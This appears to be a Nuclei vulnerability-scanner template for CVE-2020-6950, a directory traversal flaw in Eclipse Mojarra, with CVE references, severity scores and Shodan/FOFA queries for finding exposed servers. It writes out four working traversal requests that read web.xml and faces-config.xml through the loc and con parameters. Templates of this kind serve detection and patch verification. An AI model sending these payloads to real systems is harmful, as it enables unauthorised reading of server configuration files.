CVE-2020-6950: Eclipse Mojarra - Local File Read

id: CVE-2020-6950

info:
  name: Eclipse Mojarra - Local File Read
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.
  reference:
    - https://github.com/eclipse-ee4j/mojarra/commit/cefbb9447e7be560e59da2da6bd7cb93776f7741
    - https://github.com/eclipse-ee4j/mojarra/issues/4571
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6950
    - https://bugs.eclipse.org/bugs/show_bug.cgi?id=550943
    - https://www.oracle.com/security-alerts/cpuapr2022.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-6950
    cwe-id: CWE-22
    epss-score: 0.57917
    epss-percentile: 0.98118
    cpe: cpe:2.3:a:eclipse:mojarra:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: eclipse
    product: mojarra
    shodan-query:
      - html:"javax.faces.resource"
      - http.html:"javax.faces.viewstate"
      - http.html:"javax.faces.resource"
    fofa-query:
      - body="javax.faces.ViewState"
      - body="javax.faces.viewstate"
      - body="javax.faces.resource"
  tags: cve,cve2020,mojarra,lfi,eclipse

http:
  - method: GET
    path:
      - "{{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF"
      - "{{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF"
      - "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF"
      - "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/xml")'
          - 'contains_all(body, "<web-app", "<servlet>") || contains_all(body, "<faces-config", "</faces-config>")'
        condition: and
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